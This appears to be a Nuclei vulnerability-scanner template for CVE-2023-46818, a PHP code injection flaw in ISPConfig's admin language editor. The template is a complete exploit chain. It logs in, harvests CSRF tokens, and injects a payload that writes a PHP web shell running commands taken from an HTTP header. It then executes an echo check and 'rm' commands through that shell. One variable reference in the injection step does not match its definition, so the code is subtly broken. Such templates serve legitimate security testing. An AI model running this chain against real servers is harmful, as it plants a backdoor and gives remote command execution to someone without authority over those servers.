149 lines
3.5 KiB
YAML
149 lines
3.5 KiB
YAML
id: CVE-2023-46818
|
|
|
|
info:
|
|
name: ISPConfig PHP Code Injection if allow_admin_langedit is enabled
|
|
author: non-things
|
|
severity: high
|
|
description: |
|
|
An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if admin_allow_langedit is enabled.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-46818
|
|
- https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/
|
|
- http://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html
|
|
- http://seclists.org/fulldisclosure/2023/Dec/2
|
|
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 7.2
|
|
cve-id: CVE-2023-46818
|
|
cwe-id: CWE-94
|
|
|
|
metadata:
|
|
verified: true
|
|
max-requests: 1
|
|
product: ispconfig
|
|
tags: ispconfig,rce
|
|
|
|
variables:
|
|
lang-file: sbcoeybcmrpkgkiutdflqzfwvj.lng
|
|
websh-file: f1f755911b4ce3bde7f811de445aebf1.php
|
|
websh: "<?php print('____'); passthru(base64_decode($_SERVER['HTTP_C'])); print('____'); ?>"
|
|
websh-base64: "{{base64(websh)}}"
|
|
payload: "'];file_put_contents('{{websh-file}}',base64_decode('{{websh-base64}}'));die;#"
|
|
payload-url-enc: "{{url_encode(payload)}}"
|
|
echo-cmd-hash: fa8b39a9446212dff83ed5d830f044a3
|
|
echo-cmd: "echo {{echo-cmd-hash}}"
|
|
|
|
http:
|
|
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/login/"
|
|
headers:
|
|
Content-Type: application/x-www-form-urlencoded
|
|
body: username={{username}}&password={{password}}&s_mod=login
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "Set-Cookie"
|
|
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/admin/language_edit.php"
|
|
headers:
|
|
Content-Type: application/x-www-form-urlencoded
|
|
body: lang=en&module=help&lang_file={{lang-file}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
words:
|
|
- "_csrf_id"
|
|
- "_csrf_key_"
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: lang_file_location
|
|
internal: true
|
|
group: 1
|
|
regex:
|
|
- "<legend>Language file: (.*)</legend>"
|
|
|
|
- type: regex
|
|
name: csrf_id
|
|
internal: true
|
|
group: 1
|
|
regex:
|
|
- "_csrf_id\" value=\"(.*)\" />"
|
|
|
|
- type: regex
|
|
name: csrf_key
|
|
internal: true
|
|
group: 1
|
|
regex:
|
|
- "_csrf_key\" value=\"(.*)\" />"
|
|
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/admin/language_edit.php"
|
|
headers:
|
|
Content-Type: application/x-www-form-urlencoded
|
|
body: "lang=en&module=help&lang_file={{lang-file}}&_csrf_id={{csrf_id}}&_csrf_key={{csrf_key}}&records[%5C]={{payloadurl-enc}}"
|
|
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/admin/{{websh-file}}"
|
|
headers:
|
|
C: "{{echo-cmd}}"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
words:
|
|
- "{{echo-cmd-hash}}"
|
|
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/admin/{{websh-file}}"
|
|
headers:
|
|
C: "rm {{lang_file_location}}"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/admin/{{websh-file}}"
|
|
headers:
|
|
C: "rm {{websh-file}}"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|